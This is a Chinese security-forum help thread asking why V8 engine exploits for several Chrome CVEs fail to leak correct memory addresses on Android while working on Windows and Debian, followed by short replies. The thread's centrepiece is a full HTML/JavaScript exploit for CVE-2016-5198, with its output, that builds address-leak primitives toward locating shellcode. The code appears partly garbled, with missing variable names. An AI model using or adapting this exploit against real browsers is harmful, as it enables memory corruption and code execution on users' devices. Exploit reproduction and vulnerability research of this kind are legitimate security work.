首页
社区
课程
招聘
[求助]为什么在安卓系统上,Chrome/Chromium 的 JavaScript 引擎(即 V8)漏洞相较于在 Windows 和 Debian 系统上更难重现?
发表于: 2025-8-9 14:08 775

[求助]为什么在安卓系统上,Chrome/Chromium 的 JavaScript 引擎(即 V8)漏洞相较于在 Windows 和 Debian 系统上更难重现?

2025-8-9 14:08
775

我针对 5 种 Chrome/Chromium 语言引擎(V8)在三个平台上的漏洞情况进行了测试(漏洞列表如下)

CVE:

  • CVE-2016-5198
  • CVE-2018-17463
  • CVE-2019-5782
  • CVE-2020-16040
  • CVE-2021_21220

没有例外,安卓系统全都不能显示正确地址(我使用了 gdbserver + pwndbg 来检查由内存地址所指向的数据是否正确)

但,WindowsDebian系统所泄露的地址都是正确的


其中一项测试内容如下

CVE-2016-5198

Android

environment:

  • VMware Workstation Pro 17.6.3
  • android-x86_64-7.1-r5.iso from fosshub
  • chrome Version: 54.0.2840.68 from link

Output:

  • ab_addr: 0x477081b31123000
  • func_addr: 0x477081b31123000
  • 0x0

  • 经多次重复运行,ab_addr恒等于func_addr 且ab_addr前4字节在不重装chrome的情况下,恒不变,仅后4字节发生变化
  • 0x477081b31123000 - 1 位置的内存数据也不是一个ArrayBuffer的数据
  • 最后的输出的shellcode_addr恒为0x0

html exp:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

<html>

    <body>

        <script>

var ab = new ArrayBuffer(0x200);

var n;

var m;

var l;

 

 

var evil_f = new Function("var a = 1000000");

 

function d2u(num1,num2){

    = new Uint32Array(2);

    d[0= num2;

    d[1= num1;

    = new Float64Array(d.buffer);

    return f[0];

}

 

function u2d(num){

    = new Float64Array(1);

    f[0= num;

    = new Uint32Array(f.buffer);

    return d[1* 0x100000000 + d[0];

}

 

 

function Ctor() {

    = new Set(); 

}

function Ctor2() {

    = new Map(); 

}

function Ctor3() {

    = new ArrayBuffer();

}

 

function Check(obj){

    n.xyz = 3.4766863919152113e-308

    n.xyz1 = 0x0;

    n.xyz2 = 0x7000;

    n.xyz3 = obj;

}

 

 

function Check2(addr){

    m.xyz = 3.4766863919152113e-308

    m.xyz1 = 0x0

    m.xyz2 = 0x7000

    m.xyz3 = addr  

}

function Check3(addr){

    l.xyz = 3.4766863919152113e-308;

    l.xyz1 = addr 

}

 

 

for(var i=0; i<10000++i) {

    Ctor();

    Ctor2();

    Ctor3();

}

 

for(var i=0; i<10000++i) {

    Check(null);

    Check2(3.4766863919152113e-308);

    Check3(3.4766863919152113e-308);

}

 

Ctor();

Ctor2();

Ctor3();

 

Check(ab);

var str = new String(null);

var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;

alert("ab_addr: 0x"+ab_addr.toString(16));

var ab_len_ptr = ab_addr+24;

ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);

 

Check(evil_f);

var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;

alert("func_addr: 0x"+func_addr.toString(16));

func_addr = func_addr - 1;

func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);

 

Check(String(null));

 

alert(ab_len_ptr_float);

Check2(ab_len_ptr_float);

 

alert(func_addr_float);

Check3(func_addr_float);

 

f64 = new Float64Array(ab);

shellcode_addr_float = f64[7];

 

alert("0x"+(u2d(shellcode_addr_float)).toString(16));

        </script>

    </body>

</html>


下面的压缩包有我测试过程中的一些详细信息(包括所使用的 Chrome/Chromium 版本、下载链接、操作系统版本等)

327K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4u0@1i4K6u0W2L8r3q4F1P5X3&6Q4x3X3g2U0L8$3#2Q4x3V1k6A6y4i4m8B7k6o6x3K6x3Y4x3&6M7h3R3`.

密码:a3u6

上面的链接指向的压缩包和附件中的一致

我尝试使用了Google搜索

  • "v8" "Android" "exploit" OR "reproduce"
  • "v8" "Android" "exp" OR "rep"
  • Android v8 漏洞 复现
  • "Android" "v8" "address leak" mitigation OR protection

我找到了以下这个链接,标题是"android平台v8引擎issue1793任意代码执行漏洞笔记"
06fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0j5^5x3K6f1^5y4o6l9J5x3R3`.`.

我测试了这个漏洞。结果不出所料。其表现与之前的五个漏洞完全相同。安卓系统没能正确泄露地址,而 Windows 和 Debian 系统却能做到

我觉得可能是因为Android有特殊的防护措施

但是,无论是谷歌搜索结果还是上面的知乎,都没有提及任何与安卓系统特有的地址泄露相关的防护措施

Android 真的没有特殊的针对 Chrome/Chromium v8 地址泄露的保护代码吗?

那么,究竟是什么阻碍了地址信息的正确披露呢?



[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 5837
活跃值: (8229)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
2
"安卓系统全都不能显示正确地址"  --> 这个地址你是指什么地址? 
2025-8-20 10:39
0
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
泄露出来的地址
就像上面例子中的
ab_addr: 0x477081b31123000
func_addr: 0x477081b31123000
0x0
这里泄露出来的地址都是错误的,我查看过这些地址的内存数据,根本不符合v8对象的内存布局
最后的shellcode_addr甚至直接为0
2025-8-27 17:26
0
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
飞翔的猫咪 "安卓系统全都不能显示正确地址" --> 这个地址你是指什么地址?
泄露出来的地址
就像上面例子中的
ab_addr: 0x477081b31123000
func_addr: 0x477081b31123000
0x0
这里泄露出来的地址都是错误的,我查看过这些地址的内存数据,根本不符合v8对象的内存布局
最后的shellcode_addr甚至直接为0
2025-8-27 17:26
0
雪    币: 5837
活跃值: (8229)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
5
那说明你触发漏洞以后的addrof函数有问题
2025-8-27 20:31
0
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
飞翔的猫咪 那说明你触发漏洞以后的addrof函数有问题
可它在其他平台是正常的,只有在Android出现问题,所以我认为addrof函数没有问题
2025-8-27 21:31
0
游客
登录 | 注册 方可回帖
返回